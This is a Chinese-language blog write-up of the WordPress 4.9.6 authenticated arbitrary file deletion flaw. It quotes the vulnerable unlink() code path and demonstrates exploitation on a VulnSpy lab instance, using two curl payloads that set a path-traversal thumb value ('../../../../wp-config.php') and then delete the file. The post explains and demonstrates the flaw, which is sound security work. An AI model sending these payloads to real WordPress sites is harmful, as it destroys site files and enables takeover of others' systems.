Wordpress 4.9.6 任意文件删除漏洞

  • 内容
  • 相关

昨日RIPS团队公开了一个Wordpress的任意文件删除漏洞(需要登录),目前该漏洞仍然未修复(2018年06月27日),该漏洞影响 Wordpress 最新版 4.9.6.

本文我们将结合 VulnSpy 的在线 WordPress 环境来演示该漏洞的利用。

VulnSpy Wordpress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/

漏洞分析

1.文件wp-includes/post.php中:

function wp_delete_attachment( $post_id, $force_delete = false ) {
	...
	$meta = wp_get_attachment_metadata( $post_id );
	...
	if ( ! empty($meta['thumb']) ) {
		// Don't delete the thumb if another attachment uses it.
		if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
			$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
			/** This filter is documented in wp-includes/functions.php */
			$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
			@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
		}
	}
	...
}

$meta['thumb']来自与数据库,是图片的属性之一。代码未检查$meta['thumb']的内容,直接带入unlink函数,如果$meta['thumb']可控则可导致文件删除。

...
switch($action) {
...
	case 'editattachment':
		check_admin_referer('update-post_' . $post_id);
		...
		// Update the thumbnail filename
		$newmeta = wp_get_attachment_metadata( $post_id, true );
		$newmeta['thumb'] = $_POST['thumb'];
		wp_update_attachment_metadata( $post_id, $newmeta );
...

$newmeta['thumb']来自于$_POST[‘thumb’],未经过滤直接将其存入数据库,即上一步的$meta['thumb']可控。

详细分析可见:WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

漏洞利用

1.搭建环境安装WordPress4.9.6

Wordpress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/

1.1.png2.登录后台添加媒体

访问/wp-admin/upload.php, 上传任意图片

1.2.png

3.将 $meta[‘thumb’] 设置为我们要删除的文件

点击第二步中我们上传的图片, 并记住图片ID

1.3.png

访问/wp-admin/post.php?post=4&action=edit 在网页源代码中找到 _wpnonce

1.4.png

发送Payload

curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'

1.5.png

4.删除文件

在网页源码中找到另外一个 _wpnonce

1.6.png

发送Payload

curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'

1.7.png

5.刷新网页

已经可以重装程序了

1.8.png

本文标签:

版权声明:若无特殊注明,本文皆为《南柯一梦》原创,转载请保留文章出处。

本文链接:Wordpress 4.9.6 任意文件删除漏洞 - https://www.nkymbk.cn/post-44.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新

允许邮件通知
00:00 / 00:00
顺序播放